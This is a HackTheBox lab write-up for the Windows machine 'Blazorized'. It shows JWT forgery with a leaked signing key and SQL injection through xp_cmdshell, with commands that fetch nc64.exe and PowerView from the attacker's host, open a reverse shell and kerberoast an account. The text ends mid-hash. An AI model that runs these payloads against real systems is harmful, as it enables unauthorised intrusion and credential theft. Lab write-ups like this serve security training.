Blazorized – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Hard
  • Platform: HackTheBox

‘Blazorized’ Avatar


Summary Link to heading

“Blazorized” is a Hard machine from HackTheBox platform. The target machine is running a web server. After inspecting its source code, we are able to find .dll files. After a little Reverse Engineering to these files, we are able to obtain the sign key to generate Jason Web Tokens and generate a token for an administrator site. This administration site is vulnerable to SQL Injection, which also allows us to execute commands; gaining initial access to the target machine. Once inside the target machine, we are able to find a kerberoasteable user, crack its hash and get its password. This user can edit a directory that is executing scripts .bat by another user; which allows us to add a malicious script and gain acess to a new user. This new user can perform a DCSync attack, which allows us to get the NTLM hash for Administrator user and take total control over the machine.


User Link to heading

Starting with an Nmap scan to check open TCP ports:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.22

and checking their version:

❯ sudo nmap -sVC -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49673,49674,49675,49680,49683,49707,49776 10.10.11.22 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 20:50 -04
Nmap scan report for 10.10.11.22
Host is up (0.25s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://blazorized.htb
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-22 00:50:20Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info:
|   10.10.11.22\BLAZORIZED:
|     Instance name: BLAZORIZED
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|     TCP port: 1433
|_    Clustered: false
| ms-sql-ntlm-info:
|   10.10.11.22\BLAZORIZED:
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-22T00:46:19
|_Not valid after:  2054-07-22T00:46:19
|_ssl-date: 2024-07-22T00:51:31+00:00; +2s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
49776/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
|_ssl-date: 2024-07-22T00:51:31+00:00; +1s from scanner time.
| ms-sql-ntlm-info:
|   10.10.11.22:49776:
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-22T00:46:19
|_Not valid after:  2054-07-22T00:46:19
| ms-sql-info:
|   10.10.11.22:49776:
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 49776
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-07-22T00:51:21
|_  start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.10 seconds

where we can see multiple ports open: 53 Domain Name System, 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol, 445 Server Message Block|SMB, 1433 Microsoft SQL Server, 5985 Windows Remote Management; among many others.

From the output I can see that HTTP site at port 80 redirects to http://blazorized.htb when we visit it. So we add this domain to our /etc/hosts file running:

❯ echo '10.10.11.22 blazorized.htb' | sudo tee -a /etc/hosts

Visiting now http://blazorized.htb shows a webpage:

Blazorized 1

There I can see a section Check for Updates at the left side. Clicking on it redirects to http://blazorized.htb/check-updates:

Blazorized 2

The site clearly says that the webpage is in an alpha release, where only admin can request posts and calls to an API. It says that clicking on the button Check for Updates securely impersonates admin user. However, clicking on it returns an error:

❌ Failed to Update Blazorized's Content!

To see what happens when we click on Check for Updates button I will intercept the request with Burpsuite. After clicking on it I can see the following request intercepted:

OPTIONS /posts HTTP/1.1
Host: api.blazorized.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Access-Control-Request-Method: GET
Access-Control-Request-Headers: authorization
Referer: http://blazorized.htb/
Origin: http://blazorized.htb
DNT: 1
Connection: close

It is calling the host api.blazorized.htb. So I add this new subdomain to my /etc/hosts file; now it looks like:

❯ tail -n1 /etc/hosts

10.10.11.22 blazorized.htb api.blazorized.htb

Once added, if now I click on Check for Updates the message shown changes. Now it is successful:

✅ Successfully Updated Blazorized's Content!

Blazorized3

I note that the content at the left side is updated. The content is new, but they do not show sensitive information. Just topics related to Cybersecurity (Red/Blue Teaming), some papers and other stuff:

Blazorized 4

At this point I decide to search for vhosts. For this we use ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://blazorized.htb/ -H 'Host: FUZZ.blazorized.htb' -t 50 -fs 144

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://blazorized.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.blazorized.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 144
________________________________________________

admin                   [Status: 200, Size: 2072, Words: 149, Lines: 28, Duration: 176ms]
:: Progress: [19966/19966] :: Job [1/1] :: 255 req/sec :: Duration: [0:01:23] :: Errors: 0 ::

where we have a new subdomain: admin.blazorized.htb

We add this new subdomain again to our /etc/hosts file, so now this one looks like:

❯ tail -n1 /etc/hosts

10.10.11.22 blazorized.htb api.blazorized.htb admin.blazorized.htb

Just to be curious, I check what happens with http://api.blarozied.htb, since it was not found by ffuf scan. We check this with cURL checking the header of the request with -I:

❯ curl -I http://api.blazorized.htb

HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Server: Microsoft-IIS/10.0
Date: Mon, 22 Jul 2024 01:31:04 GMT

It is returning code 404, which is interesting.

Visiting http://admin.blarozied.htb shows a new panel:

Blazorized 5

but this panel is not vulnerable to attacks. So I will skip this for the moment.

Checking the source code of, for example, http://blazorized.htb/post/1c391f9c-fd3e-4d86-b966-9a3e5d7e3d28 shows:

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
        <title>Mozhar's Digital Garden</title>
        <base href="/" />
        <link rel="icon" type="image/png" href="icon-192.png" />
        <link href="_content/MudBlazor/MudBlazor.min.css" rel="stylesheet" />
        <link href="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.css" rel="stylesheet" />
        <link href="Blazorized.DigitalGarden.styles.css" rel="stylesheet"/>
    </head>

    <body style="min-height:100vh;display:flex;flex-direction:column">
        <div id="app">
            <h1 style="text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)">
                Please Wait, Loading...
            </h1>
        </div>
        <div id="blazor-error-ui">
            An unhandled error has occurred.
            <a href="" class="reload">Reload</a>
            <a class="dismiss">🗙</a>
        </div>
        <script src="_framework/blazor.webassembly.js"></script>
        <script src="_content/MudBlazor/MudBlazor.min.js"></script>
        <script src="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.js"></script>
        <footer style="margin-top:auto">
            <span style="display:block;text-align:center;font-size:20px;">
                Built with ❤️ using Blazor WebAssembly
            </span>
        </footer>
    </body>
</html>

Shows that it is using MudBlazor. A quick internet search reaches something interesting; MudBlazor - Blazor Component Library:

Info
Mudblazor is a Blazor Component Library based on Material Design. MudBlazor is easy to use and extend, especially for .NET devs because it uses almost no Javascript.

Then searching for what is blazor we find:

Info
Blazor is a feature of ASP.NET for building interactive web UIs using C# instead of JavaScript. It’s real .NET running in the browser on WebAssembly.

Also this video is specially interesting to know what Blazor does.

So, I assume the machine name (always giving a hint about the vulnerability in the machine) is related to Blazor. From this source code I can see a directory _framework/blazor.webbassembly.js. The code itself is not pretty, so I use a page like https://beautifier.io/ to make the code pretty. After analyzing it (which is the “tough” part of this machine) there is a portion of code that looks like:

<SNIP>
class at {
        constructor(e, t) {
            this.bootConfig = e, this.applicationEnvironment = t
        }
        static async initAsync(e, t) {
            const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json");
            let r;
            r = n ? "string" == typeof n ? await a(n) : await n : await a("_framework/blazor.boot.json");
            const o = t || r.headers.get("Blazor-Environment") || "Production",
                s = await r.json();
            return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new at(s, o);

            function a(e) {
                return fetch(e, {
                    method: "GET",
                    credentials: "include",
                    cache: "no-cache"
                })
            }
        }
    }
<SNIP>

where _framework/blazor.boot.json seems interesting.

Visiting http://blazorized.htb/_framework/blazor.boot.jsonwith cURL shows some info:

{
  "cacheBootResources": true,
  "config": [],
  "debugBuild": false,
  "entryAssembly": "Blazorized.DigitalGarden",
  "icuDataMode": 0,
  "linkerEnabled": true,
  "resources": {
    "assembly": {
      "Blazored.LocalStorage.dll": "sha256-5V8ovY1srbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go=",
      "Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI=",
      "Blazorized.Shared.dll": "sha256-Bz/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY=",
<SNIP>
    },
    "extensions": null,
    "lazyAssembly": {
      "Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK/fqqQRjGFUW0jAQQ="
    },
    "libraryInitializers": null,
    "pdb": null,
    "runtime": {
      "dotnet.7.0.15.x46e81vra7.js": "sha256-MHuxwxeVFybuBBTAWeZrvoStZpW+H4ThSaRcFvrfqXM=",
      "dotnet.timezones.blat": "sha256-aHk3Pm2JXopn6UPLJtovAqIdIk8GyIMzGm450cli9UE=",
      "dotnet.wasm": "sha256-fMuaMGy/7q8rXL+GyH9Gu04mJDwQ/OSYXD9ezf+Fz4k=",
      "icudt_CJK.dat": "sha256-SZLtQnRc0JkwqHab0VUVP7T3uBPSeYzxzDnpxPpUnHk=",
      "icudt_EFIGS.dat": "sha256-8fItetYY8kQ0ww6oxwTLiT3oXlBwHKumbeP2pRF4yTc=",
      "icudt_no_CJK.dat": "sha256-L7sV7NEYP37/Qr2FPCePo5cJqRgTXRwGHuwF5Q+0Nfs=",
      "icudt.dat": "sha256-tO5O5YzMTVSaKBboxAqezOQL9ewmupzV2JrB5Rkc8a4="
    },
    "runtimeAssets": {
      "dotnet.wasm": {
        "behavior": "dotnetwasm",
        "hash": "sha256-fMuaMGy/7q8rXL+GyH9Gu04mJDwQ/OSYXD9ezf+Fz4k="
      }
    },
    "satelliteResources": null
  }
}

Based on this documentation, Blazored.LocalStorage.dll seems interesting:

Info
The Blazor.LocalStorage package consumes the Blazor.SourceGenerators package. It exposes a source generated IStorageService interface specific to Blazor WebAssembly and the localStorage Web API.

I remember that the site made a request to api.blazorized.htb as admin, so some type of credentials might be contained there. For this we need to download this file. After looking for it we find it at http://blazorized.htb/_framework/Blazored.LocalStorage.dll. So we can download it visiting this site in a web browser.

I pass this .dll file to a Windows machine and analyze it using dnSpy. It shows the repository used:

Blazorized 6

where we can see the repository https://github.com/Blazored/LocalStorage.

Info
Blazored LocalStorage is a library that provides access to the browsers local storage APIs for Blazor applications. An additional benefit of using this library is that it will handle serializing and deserializing values when saving or retrieving them.

The only problem is that I searched for credentials in this .dll file, but I was not able to find any credential sadly. So I will start searching for more credentials in the other .dll files available at http://blazorized.htb/_framework/blazor.boot.json.

Eventually, the file Blazorized.Helpers.dll (downloaded through the link http://blazorized.htb/_framework/Blazorized.Helpers.dll) shows something:

Blazorized 7

where we finally find a Jason Web Token security key (or sign) at Blazorized.Helpers -> JWT:

8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a

Also, a portion of the code shows:

<SNIP>
public static class JWT
	{
		// Token: 0x06000008 RID: 8 RVA: 0x00002164 File Offset: 0x00000364
		private static SigningCredentials GetSigningCredentials()
		{
			SigningCredentials result;
			try
			{
				result = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JWT.jwtSymmetricSecurityKey)), "HS512");
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}
<SNIP>

and

// Token: 0x04000007 RID: 7
		private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";

		// Token: 0x04000008 RID: 8
		private static readonly string postsPermissionsClaimValue = "Posts_Get_All";

		// Token: 0x04000009 RID: 9
		private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";

		// Token: 0x0400000A RID: 10
		private static readonly string superAdminRoleClaimValue = "Super_Admin";

		// Token: 0x0400000B RID: 11
		private static readonly string issuer = "http://api.blazorized.htb";

		// Token: 0x0400000C RID: 12
		private static readonly string apiAudience = "http://api.blazorized.htb";

		// Token: 0x0400000D RID: 13
		private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";

Now, I note 2 things. We have 2 functions in this code. One is called GenerateTemporaryJWT which is:

public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
		{
			string result;
			try
			{
				List<Claim> list = new List<Claim>
				{
					new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.postsPermissionsClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.categoriesPermissionsClaimValue)
				};
				string text = JWT.issuer;
				string text2 = JWT.apiAudience;
				IEnumerable<Claim> enumerable = list;
				SigningCredentials signingCredentials = JWT.GetSigningCredentials();
				DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
				JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
				result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}

and another one called GenerateSuperAdminJWT:

public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
		{
			string result;
			try
			{
				List<Claim> list = new List<Claim>
				{
					new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
				};
				string text = JWT.issuer;
				string text2 = JWT.adminDashboardAudience;
				IEnumerable<Claim> enumerable = list;
				SigningCredentials signingCredentials = JWT.GetSigningCredentials();
				DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
				JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
				result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}

What I will try to do now is to “replicate” and create a new SuperAdmin token. Based on the portion of code above, to create a privileged token this needs to contain:

  1. An email (superadmin@blazorized.htb)
  2. A user (Super_Admin)
  3. An issuer (http://api.blazorized.htb)
  4. An audience (http://admin.blazorized.htb)

I create a Python script to do it:

#!/usr/bin/python3
import jwt
import datetime


# Set parameters found
jwt_symmetric_security_key = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a"
super_admin_user = 'Super_Admin'
super_admin_email_claim_value = "superadmin@blazorized.htb"
posts_permissions_claim_value = "Posts_Get_All"
categories_permissions_claim_value = "Categories_Get_All"
issuer = "http://api.blazorized.htb"
audience = "http://admin.blazorized.htb"


def generate_temporary_jwt(expiration_duration_in_seconds=60):
    """
    Create the temporal token
    """
    expiration_time = datetime.datetime.utcnow() + datetime.timedelta(seconds=expiration_duration_in_seconds)
    claims = {
        "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": super_admin_email_claim_value,
        "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": super_admin_user,
        "iss": issuer,
        "aud": audience,
        "exp": expiration_time
    }
    token = jwt.encode(claims, jwt_symmetric_security_key, algorithm="HS512")
    return token


if __name__ == "__main__":
    jwt_token = generate_temporary_jwt()
    print(jwt_token)

Running it we get:

❯ python3 generate_JWT_token.py

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIxNjIyMTkyfQ.odLhTL_xCynUd24s78wRnyg18N1D9wF2F5jmyCBqgs8WJ3-BfhfHPrqO4h2OqFyjlFBjDy0xUX37y0dLELdefA

Then decode it to check if this worked in https://jwt.io/:

Blazorized 8

Let’s continue. The “audience” in a JWT shows the recipients that the JWT is intended for. It is used to ensure that the token is only accepted by the audience; in this case the url http://admin.blazorized.htb. So, based on this, I assume that this generated token is useful for the login panel at http://admin.blazorized.htb we previously found. I also noticed that the duration of the token is 60 seconds, so when we generate it we have 1 minute to use it. Otherwise we will have to re-generate another token.

After generating the token, in a web browser like Firefox, I decide to go to Storage (Ctrl + Shift + I), then Local Storage and then add (clicking at the + symbol) some storage data. As key name I set jwt, and as value I set the generated JWT by our Python script:

Blazorized 9

Refresh the page and we are in:

Blazorized 10

…That message is a nice advice

At the left side there is a search tool under the tab Check Duplicate Post Titles at the left side. Clicking on it shows:

Blazorized 11

I remember that this machine had a Microsoft SQL Server (MSSQL) service running on it.

After attempting many things, and since this is using a SQL database, I then attempt some SQL Injections. For this I first start listening for ICMP traces on my attacker machine with tcpdump running:

❯ sudo tcpdump -ni tun0 icmp

and then, after some attempts, one of the following injections worked:

';exec master..xp_cmdshell "ping -n 1 10.10.16.3" --+

Blazorized 12

And I get something:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:52:11.744937 IP 10.10.11.22 > 10.10.16.3: ICMP echo request, id 1, seq 415, length 40
00:52:11.744948 IP 10.10.16.3 > 10.10.11.22: ICMP echo reply, id 1, seq 415, length 40

so we have reached a Command Injection.

Therefore I will pass a netcat binary for Windows to the target machine. First I start a Python HTTP server on port 8000 in my attacker machine running:

❯ ls && python3 -m http.server 8000

generate_JWT_token.py  nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and download the binary executing certutil in the victim machine injecting in the web searcher the command:

';exec master..xp_cmdshell "C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe" --+

where 10.10.16.3 is my attacker IP address.

Then, in our attacker machine, start a netcat listener on port 443 along with rlwrap:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Finally, execute the netcat binary transferred to get a reverse shell:

';exec master..xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e C:\Windows\System32\cmd.exe" --+

and we get a shell as nu_1055 user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 60850
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
blazorized\nu_1055

We can get the user flag at the Desktop of this user.


NT Authority/System - Administrator Link to heading

We note that this user is in the group Normal_Users:

PS C:\Users\Public\Downloads> net user nu_1055

net user nu_1055
User name                    NU_1055
Full Name                    NU_1055
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/25/2024 12:55:06 PM
Password expires             Never
Password changeable          2/26/2024 12:55:06 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile                 C:\Users\NU_1055
Home directory               C:\Users\NU_1055
Last logon                   7/22/2024 12:16:53 AM

Logon hours allowed          All

Local Group Memberships      *IIS_IUSRS            *Remote Management Use
Global Group memberships     *Normal_Users         *Domain Users
The command completed successfully.

We swap from a CMD to a Powershell (just type powershell command) and, then, I will upload PowerView.ps1 (which can be downloaded from its repository) to the target machine. First, on my attacker machine I expose PowerView.ps1 with python3 -m http.server 8000 and then, in the target machine I run:

PS C:\Users\Public\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8000/PowerView.ps1')

Once imported I see if we can make one of the user kerberoastables. There is one that allows me to do it called RSA_4810:

PS C:\Users\Public\Downloads> Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='htb/gunzf0x'}

Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='htb/gunzf0x'}

where serviceprincipalname can be anything we want as long it follows the format word1/word2.

Then, I request the ticket for this user:

PS C:\Users\Public\Downloads> Get-DomainUser RSA_4810 -SPN | Get-DomainSPNTicket -Format Hashcat

Get-DomainUser RSA_4810 -SPN | Get-DomainSPNTicket -Format Hashcat


SamAccountName       : RSA_4810
DistinguishedName    : CN=RSA_4810,CN=Users,DC=blazorized,DC=htb
ServicePrincipalName : htb/gunzf0x
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$C500617D4E0868E7BD5F1801F01596F6$597C70FE5E864
                       738A3EA436C0A746E0867379C8AABE0A09F43213BB303FA364A5170C0016C58729F1E971988C0A9F347CCAD3C3973D92
                       E421EE6CFDBC7B6162A7B451177C11BEC0042C3689681BF4EEC0FD97F88D5CF9D620BA8A6AF1702FBF2B846E0818175F
                       24D8E335E76628216900B401F0845AD575826B0653CF4C9A1036A73E8EFE52EB1A63F0CB71E014D0B27E465045A462A3
                       B7837B02BF2DC7528DC908A3A60282161F7F0A106BD33166FFC229A6E13BC5F62DA4AC3CD2E4BDD719FCD9EB16597B1B
                       857EDAEC68AAAF431787887CEFE074CFC6C8016025D6BEB25CDB30387C8340C7D43DBFE016545A34223A1BBE26FD0C04
                       271C9455B3EDBB7018531196099B59164424A0DF52D9A9A4595DA67EFA8939DB00FE0BFD2E9C0DE71E3AA62AECC86C6F
                       E3934F39476977B0D2F807AE5B45812FDA45F3256B12107272E509A7D9C46D6C52F7598FD979629BEECE36B182876B0D
                       9FBF70DAD014DB1402758D635089EE7FC32AED8D92D12BCA526DD0AFDE32AFD49699403B6153BC3B94F107BBF144D2E8
                       FD5D023B562A0599B209902AB2CE94B242186FFC3F84446FC54F4C53C1C96B9C175F0F26DA73757BA49A62E751E30888
                       30318BD0A5895FB0E730FE63BFC76414A667F5F9482F1D4101EA57F0DEC10A2A2202B1E97949DDE15F9764BAF8F010D6
                       8B3DD661ECFD25403E91FA9035F74DF7F168453C44891F65D4F20159A7E0A9548B05A205C961A88ACA902EB5E9984D6F
                       1D4215E3427C8EBE9D7A1731A369097CA0B52F41DBD938C23933AD6BBB2AA473704CA7419FCFA51E4F38902D7E5749F2
                       C511A1DDCCBD13890785A23D9A1A1AB54F4FD6502721F502341D783D0EC346180C09BEB09B0D5D281FE5FD9AAAEDF142
                       9BA2614ECEDBA0B2907960B94D37A2AF7BF542C3E887DDE85409E679E9F136E496E1CFDA72263D3F89A186552787EF45
                       C4324F4104F9BEE7DC7B519CC5ADC71940689B361C6A71D8EF6CF8258546C89A81CB662D29BFB4289F59D5ACAE81D22F
                       9C88063C6CBA7151794E5161E074A963043E3B15A385B2EEF86628A2D21D8EF1B19A94499F82DA2F02D9F7D3A6ADE6D2
                       078021223DCE6A8E28E61468BAAAFAC2A428EFD082830024A4F065811424E281A139FC7C690E684CE3EAEE0B852A69C1
                       EE64959C63169EDEEC21B0814470B594D3513094D45958620989C191E950383ED0DB4CB7899388A8572B3BE7A67B543F
                       E70AD18D506C7A95E9C51643B9347A61EB87CDE76113DA8A1CB4F76D27EF863916A94BE1DCCAD91A9618DCF9885BF6A0
